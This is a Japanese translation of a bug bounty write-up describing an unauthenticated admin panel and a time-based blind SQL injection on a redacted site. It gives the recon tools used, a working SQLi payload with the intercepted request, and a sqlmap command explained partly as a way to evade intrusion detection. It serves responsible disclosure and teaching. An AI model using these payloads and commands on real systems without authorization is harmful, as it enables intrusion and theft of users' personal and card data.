ソース:
脆弱性:BAC、SQLインジェクション
訳:
4 月に発見したところ、SQL インジェクションと管理パネルへの不正アクセス、または管理パネル ページへの不正なアクセス許可という 2 つの重大な脆弱性が見つかり。
資格情報を求められずにアクセスができ。
上記 2 つの脆弱性はそれほど時間はかからず、以下の Recon ツールを使用すれば数分で計算できることがわかり。
- Subfinder
- Httpx
- Waybackurls
- Dirsearch
- Sqlmap
管理パネルへの不正アクセスとは何ですか?
管理パネルへの不正アクセスは、誰かが許可なく Web サイトの管理者エリアにアクセスできる場合に発生し。
このアクセスにより、Web サイトの設定を変更したり、コンテンツを削除または追加したり、機密情報を盗んだりすることさえできます。
この種の攻撃は、Web サイトの評判と完全性に重大な影響を与える可能性があり。
攻撃者が管理パネルに不正アクセスするために使用する一般的な方法の 1 つは、弱いパスワードを推測するか、「総当たり」の方法を使用して強力なパスワードを推測すること。
さらに、攻撃者は Web サイトで使用されている CMS ソフトウェアの脆弱性を悪用する可能性もあり。
管理者パネルを発見するまでの短いストーリー
サブドメイン検索を実行し、 脆弱性を検索する前に、まずSubfinderと HTTPX を使用し。サブドメインのステータス コードを確認し。
ターゲットには次のように多くのサブドメイン名があり。
上記のサブドメイン名を開くと、ページには次のテキストのみが表示されます。 サブドメイン名xeon4.redacted.com そして、応答 200 を持つ。
何も表示されず混乱しました:/ Waybackurl を使用してエンドポイントの検索を続けましたが、robots.txt ファイルしか表示されませんでした 😐 諦めずに、 Dirsearch ツールを使用してディレクトリ検索を実行して。
そして管理パネルのディレクトリを見つけました。 ディレクトリに対して 200 応答を示しました Dirsearch は、 /adminpage 。
私が考えたのは、ログインするためにユーザー名とパスワードを要求するのではないかということで。
ただし、ディレクトリを開くと、 xeon4.redacted.com/ adminpage で資格情報を求められることなく管理者パネル ページに入ることができました。
上で見られるように、管理者ページには他のページに入る他の資格情報があり、電子メール、クレジット カード、住所などの他のユーザーの機密情報を表示するページもいくつかあります。
SQL インジェクション攻撃とは何ですか?
SQL インジェクション攻撃は、Web サイトのデータベースの脆弱性を悪用して実行される攻撃です。 この攻撃では、攻撃者はデータベースに関連付けられた入力に悪意のある SQL コードを挿入し、データベース サーバーによって実行され。
この種の攻撃は、機密データへの不正アクセス、データベースの改ざん、さらにはサーバーの制御の乗っ取りにつながる可能性があり。
SQLインジェクションを見つけたきっかけ
管理者ページを見つけた後、そこで止まらず、他の脆弱性を探すことにし。
上記の管理者ページから別のサブドメインを見つけました。
以下でマスクした URL を参照してくだ。
上記のリンクを開くと、ページにドキュメントを検索できるフォームが表示され。
下の画像を参照してください。
ドキュメント検索中にリクエストを傍受し。
directform パラメーターは SQL インジェクション攻撃に対して脆弱であり、ペイロードを使用したテストによって SQLI の時間ベースのブラインド脆弱性を発見し。
'XOR(if(now()=sysdate()%2Csleep(15)%2C0))XOR'Z
Request:
POST /xxxx/repository/xxxx? HTTP/2
Host: secure.redacted.com
Cookie: cookie
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: https://secure.redacted.com
Referer: https://secure.redacted.com/xxxx/repository/xxxxx?
[...]
password=xxxxxx&directform=vulnerabilityhere
Response:
Sleep time 15s ‘XOR(if(now()=sysdate()%2Csleep(15)%2C0))XOR’Z
Sleep time 20s ‘XOR(if(now()=sysdate()%2Csleep(20)%2C0))XOR’Z
これは SQLI に対して脆弱であるため、Sqlmap に進み、次の簡単なコマンドで上記のリクエストを保存することに。
sqlmap -r request.txt -p directform — random-agent — level 5 — risk 3 — dbs — threads=10
※sqlmapのオプションについて
-
-r request.txt
: これにより、HTTPリクエストが含まれるファイルからのデータをロードします。request.txt
はこのHTTPリクエストを保存するファイルの名前で。 -
-p directform
: これは、テスト対象のパラメータを指定します。この場合、directform
という名前のパラメータがSQLインジェクションをテストする対象となり。 -
— random-agent
: これにより、ランダムなユーザーエージェントが使用されます。これは、監視ツールやIDS (侵入検知システム) からの検出を避けるためのもので。 -
— level 5
: テストの深度レベルを指定します。レベル5は最も広範なテストを行い。 -
— risk 3
: テストのリスクレベルを指定します。リスクレベル3は、データベースに対する潜在的な変更を含む最も危険なテストを行い。 -
— dbs
: このオプションにより、利用可能なデータベースの名前を列挙するテストが実行され。 -
— threads=10
: これにより、同時に実行されるスレッドの数が10に設定されます。これは、テストの速度を向上させるためのもので。
注意: sqlmap は、承認された環境でのみ使用すべきです。不正な目的や承認されていない環境での使用は違法であり、また、その結果として生じる可能性のある損害に対しては、ユーザー自身が責任を負うことになり。
上記 2 つの脆弱性を電子メールで報告し。
数週間待った後、SQLI に 500 ドル、管理パネルに 1000 ドルの報奨金が与えられ。
ほなほな。